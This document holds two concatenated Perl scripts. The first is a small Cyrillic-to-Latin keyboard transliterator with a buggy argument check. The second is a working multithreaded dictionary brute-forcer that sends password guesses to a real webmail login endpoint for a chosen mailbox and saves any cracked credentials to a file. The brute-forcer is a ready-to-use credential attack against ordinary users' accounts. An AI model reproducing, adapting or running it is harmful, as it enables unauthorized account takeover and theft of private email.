#!/usr/bin/perl

if (@ARGV < 1)
{
    print "Usage: transkey.pl source\r\n";
    exit();
}

$sour = $ARGV[0];

if (@ARGV = 1){
    $dest = $sour . '_trans';
}
else{
    $dest = $ARGV[1];
};

$alphabet = "f,dult;pbqrkvyjghcnea[wxio]sm'.z";
$alphabet2 = 'F<DULT:PBQRKVYJGHCNEA{WXIO}SM">Z';

open (SR, "<$sour") || die "Could not open source file";
open (DS, ">$dest") || die "Could not create destination file";

while (<SR>){
    chomp;
    @bukvy = split(//);
        foreach $bk (@bukvy) {
            $num = ord($bk);
            if ($num < 256){
                if ($num > 223){
                    $bk = substr($alphabet,$num-224,1);
                }else{
                    if ($num > 191){
                        $bk = substr($alphabet2,$num-192,1);
                    };
                };
            };
        }
    print DS join("",@bukvy) . "\n";
};

close (SR);
close (DS);

#!/usr/bin/perl

use IO::Socket::INET;
use threads;
use threads::shared;
my @pass : shared;

######################################
$dic = 'pass.txt';
$mail = 'mail@bk.ru';
######################################
$thr = 1;
######################################

( $login, $dom ) = split ( /@/, $mail );
open (pass, "<$dic");
open (bad, ">bad.txt");
Next:
@pass = pass();
my $time_start = time;
if ( @pass == 0 ) {
	print "Sorry, password not found =(\n";
	exit;
}
for(0..$thr) { $trl[$_] = threads->create(\&Brut, $_); }
for(0..$thr) { $trl[$_]->join; }
sub Brut
{
	while (@pass){
	$pass = shift @pass;
	$data = "Password=$pass&login_from=http%3A%2F%2Fmail.ru%2F&page=&Domain=$dom&post=&Login=$login";
	$sock = IO::Socket::INET->new(Proto=>'tcp',
				      PeerAddr=>'win.mail.ru',
				      PeerPort=>80);
	print $sock  "POST http://win.mail.ru/cgi-bin/auth HTTP/1.1\r\n".
		     "Host: win.mail.ru\r\n".
		     "Accept: */*\r\n".
		     "Range: bytes=0-63\r\n".
		     "User-Agent: Opero\r\n".
		     "Content-Type: application/x-www-form-urlencoded\r\n".
		     "Content-Length: ".length($data)."\r\n".
		     "Connection: close\r\n\r\n$data";
	$answ = <$sock>;
	close $sock;
	#print "$pass\t$answ";
	if ($answ =~ /302/){
		open (good, '>>good.txt');
		print good "$login:$pass\n";
		print "$login:$pass\n";
		close good;
		exit;
	}
}
}
if ( $thr < 20 && $key == 0 ) {
	my $time_end = time;
	my $timer = $time_end - $time_start;
	print "For $thr threads time = $timer\n";
	$optim[$timer] = $thr;
	$thr++;
} elsif ($key == 0) {
	while (1) {
		$thr = shift @optim;
		print "Thr $thr\n";
		last if ($thr);
	}
	$key = 1;
}
goto Next;
sub pass
{
	my (@mas);
	while (<pass>){
	push @mas, $_;
	last if (@mas > 300);
	}
	print bad $_;
	print $_;
	chomp @mas;
	return @mas;
}